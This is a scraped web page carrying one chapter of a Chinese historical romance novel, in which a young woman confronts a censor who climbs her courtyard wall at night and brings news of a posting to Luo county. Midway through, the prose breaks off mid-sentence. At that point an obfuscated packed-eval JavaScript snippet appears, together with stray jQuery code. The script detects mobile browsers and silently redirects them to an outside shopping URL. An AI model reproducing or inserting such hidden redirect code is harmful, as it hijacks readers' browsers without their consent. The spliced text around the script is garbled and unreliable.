文趣网 > 都市小说 > 两只斗鸡鸣翠柳 > 5. 夜里有狗来咬人
    在小厨房烧了两锅热水,顺带着连通的暖阁也逐渐升温,再点起银丝碳让暖阁更热乎些。

    等吴何清彻底浸入热汤里头,才感受到了安全与放松。

    这一日太漫长了,先是神志不清却孟浪的小国公,再是一群为非作歹的纨绔和猪头猪脑的府尹。

    照她看来,这群人通通该去地府十八层煎炸煮烹一番,才能泄她心头不快。

    不过在人间时,她也教他们先尝了点苦头。

    帝景阁中塌了的木架和一俱器物,并不是小国公自己弄倒的。

    当她面上对着门口的公子们时,手中的“暗器”早已对准了木架的腐朽处。

    连这暗器都是从木架上薅下来的,就算有人要查,对着一地残骸也看不出问题所在。

    承恩伯世子面上的血痕,也是她有意为之。

    今日种种显然也不是冲她来的,她不过是双方争斗时,想要一脚碾碎的蚂蚁而已。

    既然国公府的管家来解围,表姐应当已经处理好了此事,她也不必再为此烦心。大不了日后都待在家中,他们还能闯进吴府拿她做筏子不成?

    不过承恩伯是搭上了谁,敢挑起国公府和表姐的冲突?不过这手段也太过拙劣了些。

    咕噜噜噜,她的气憋到了极点,实在忍不住从热水中探出了头。

    待躺进被窝中,掖好每一丝缝隙,暖洋洋、软绵绵笼罩着她,这舒畅之感教吴何清不由得喟叹道:“这一世我都不想离开你,我的床榻!”

    如此舒适的地方,最适合与周公相会,她的呼吸也逐渐变得绵长。

    霎时间,院里却传来了窸窣的动静,在寂静的夜里显得格外明显。

    什么声音?她的耳朵一动,困意也在逐渐消散,但对床榻眷恋得太深,她实在不想离开。

    可外头的动静却一直没有停止,还传来了轻微的吱呀声。

    难道是有人偷袭?

    经过这一日的周折,吴何清的心立刻提了起来,轻叩了床边的一处位置,弹出了一处秘密的空间。

    她从中取出了一柄木弩,配上一把竹箭,轻手轻脚地走到了屋门旁。

    三下两除二将竹箭一一上弓后,她才微微开了一条缝隙,将木弩对准屋外。

    透过缝隙,她看见左侧院墙放着架梯子,有人正在攀爬。

    额,这年头偷袭的贼子连墙都翻不过来吗?她有些无语,手中的木弩往下放了放,拎着也怪沉的。

    等下一刻那个“贼子”露出面庞时,吴何清面无表情地又举起了弩箭,一脚踢开屋门,朝着对方大踏步而去,且木弩的准心一直朝着他的脑袋。

    “来送死吗,岑御史?”她走到墙下,竹箭离他的脑袋不过三尺之遥,直接把人惊得脚一滑,差点从梯子上摔下去。

    “吴何清,你不识好人心!”岑定默提着一盒子放在院墙之上,“我是来给你送东西的。”

    盒上刻着郡主府的徽记,外头做不了也不敢做这个假。

    这个混球能进郡主府?

    真的嘛,她不信。

    “哪来的?”她又往前走了两步,把木弩怼在他面上。

    岑定默也不示弱,直接用脸去够竹箭的方向,“郡主让我给你送过来的,说是你最爱吃的青果糕,以慰你受惊之情。”

    不早说,吴何清闻言收起了弩箭。

    青果糕就属表姐府上和帝景阁里的大师傅做得好,可帝景阁一碟糕点半两银子,抵得上她几日用度,她是真舍不得,只得常去郡主府享口福。

    “表姐怎么会让你来?你这混球还能进得了郡主府?”她本想去够盒子,但院墙太高这混球又刻意把盒子往高举,她看一眼便不做无用功了。

    岑定默又往上爬了几阶梯子,直接坐在了院墙上,“吴二娘子此言差矣,原本这就是我同郡主联手做的戏。她老人家自有打算,才让我认下这折子的事。再说这折子的印本就是旁人偷印上去的,与我可无关。”

    “呵。”吴何清冷笑一声,眼中俱是怀疑。

    数月里一声不吭,今夜突然来寻她说是做戏,鬼才信他。

    “你要不信,就别吃这青果糕了,我可是辛辛苦苦背来的。”他直接将糕点抱在怀中,大有不放他进去就不松手的架势。

    “爱给不给。”她连个多余眼神都欠奉,直接转身回了屋。

    倒是岑定默眼睛一弯,抱着糕点就从墙头跳了下来,隐隐有震意。

    果不其然换来她一句“狗熊下树”。

    青果糕还残留点余温,吴何清拿出一块,将旁的放在碳上煨着。

    刚一入口,她便觉着味道有些不对劲,今日的青果糕太松软了些,味道也偏甜,比不上平日里的。

    “不是徐大厨做的吗?”

    “这都能尝出来?”岑定默有些诧异,也拿了一块品尝,“我吃着味道差不离啊。”

    她有些疑惑地看了他一眼,“你的舌头光会说话,尝不出味道?这可差太远了,这入口就绵还甜,不是青果糕的做法,是米糕的。”

    “原来如此……”他若有所思地点点头,“不过除了青果糕,郡主还有话让我带给你。”

    “我要外放至洛县任县令了。”

    外放——好事,大好事啊!她能至少清净三年,不用再见这混球了!

    闻言吴何清便笑得眉眼弯弯,不住地恭喜,随即顿了顿,有种不大好的预感,迟疑地问道:“那此事和我有何干系,还让你深夜来访?”

    他这狗德行在此刻又犯了,故作高深地紧盯着她,却迟迟不语,把她的心吊得越提越高,不禁咽了咽。

    “你,也得和我一起去。”

    听着他刻意拉长的语调,一股血涌上她的脑袋,随手抽了支竹箭抵在他喉间,威胁道:“你胡说八道些什么?表姐怎么会要送我回家!”

    岑定默用手指轻弹了弹竹箭,“谁说郡主要送你回杭州府,她是让你和我一道去洛县赴任。你,便是洛县新一任的师爷。”

    这好像比回家也好不到哪儿去。

    给这个混球当牛做马?她宁愿…宁愿……她就不能在京城老实待着嘛。

    “呵呵,听说过前朝的李大人吗?”吴何清没有丝毫松手的意思,反倒把箭抵得更紧,隐约可见他喉间的红痕。

    “你说哪位李大人?”他仿佛没感受到喉咙的疼痛,面色如常地反问道。

    “假传圣旨,被一箭射穿喉咙的那位。”说着,她将竹箭往后一松,看见他舒了一口气后再次出手。

    这一回,她起身站在他的背后,反手执箭戳在他的喉间,另一只冰凉的手抚在他另一侧的下颌处。

    吴何清能清楚地感

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17844401|211710||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    受到他的呼吸、心跳和战栗。

    “你大可明日自己问郡主,便知我有没有假传圣旨。”岑定默的语气极为平淡,她几乎要被他骗过去,如果他脖颈的跳动没有越来越快的话。

    纸老虎,中看不中用,她微微一笑。

    “为何调你离京,还要我做这劳什子师爷?”

    “你也可以回家,如果你愿意的话。”他抬了抬下巴,压不住话中的得意。

    该死,前头听到同他一道上路慌了神,还以为表姐要送她回家,这才在他面前泄露了真实想法。

    这混球还真会顺杆往上爬。

    “别转移话题,到底怎么回事。”她左手用了些力,轻扼住了他的下巴。

    抬什么下巴,得意个什么劲儿!

    岑定默用指尖点了点她的手,不甚清晰地答道:“你这样我怎么说?”

    指尖温热的触感教她有些不自在,轻咳了两声,放松了些许,“别耍花样,还不快如实道来!”

    “郡主陷入了官场斗争,这几个月波及了你我,以防万一她预备将我们都送去安全之处。所以你唯有两个选择,要么回杭州府,要么随我一道去洛县。

    在洛县我语言不通,当地事物、风情不熟,你擅庶务又是洛县出身,再合适不过。”岑定默笑吟吟地答道。

    官场风波她虽不知全貌,也清楚两位相爷和圣上正在斗法。表姐作为圣上的堂妹,在户部浸淫多年,加上原本户部侍郎年迈致仕,本是新任侍郎的不二之选。

    但户部向来是郑相的地盘,自不愿侍郎一职被圣上轻易掌控,便一时拖延了下来。

    而此时,御史台一封联名奏折,参瑞阳郡主罪名十余条,甚至底下还盖着他岑定默的印鉴。

    岑御史与郡主的关系,微妙而亲近,一时之间朝堂争吵不断。

    最后以她停职审查告一段落。

    虽说最后罪名一条条都被驳斥,但户部侍郎一职还是由郑相收入囊中。

    不光在官场,民间也有人大肆流传瑞阳郡主的传闻,半真半假的流言跑得飞快,没过多久她就成了大街小巷的谈资。

    而现在,岑定默说一切都在表姐的计划之内?

    “我不去,我就在京中守着表姐,我哪儿也不去。”吴何清哼了一声,松开他回了座。

    无论他今夜再说什么,她都不会再理了。

    不然,她也随他属狗。

    “你快走吧,大晚上进我卧房,被旁人知道了影响我名声。”

    闻言岑定默笑得格外开怀,久久不歇,“又不是头一回了,你还害羞了。”

    人与狗的想法自然不一样,不能同他一般计较,不然分不清谁是人、谁是狗了。吴何清深呼吸了几下,冷声道:“滚。”

    “滚就滚,不过二月初一那日,你定会跟我一道上路,咱们走着瞧!”他还顺手拿过了炉上煨着的青果糕,嘁了一声直接走人,嘟囔道:“不懂欣赏便罢了。”

    气不过的吴二娘子起身,对着他远去的方向喊道:“我这辈子给谁当牛做马,都绝不会给你当下属,不然我就……”

    说到这,她一时词穷,觉着说什么都不大吉利。

    谁知远处传来了一句他的回信:“不然你就一世给我端茶倒水、揉肩捶背!”

    “你!”这人怎么还连吃带拿的!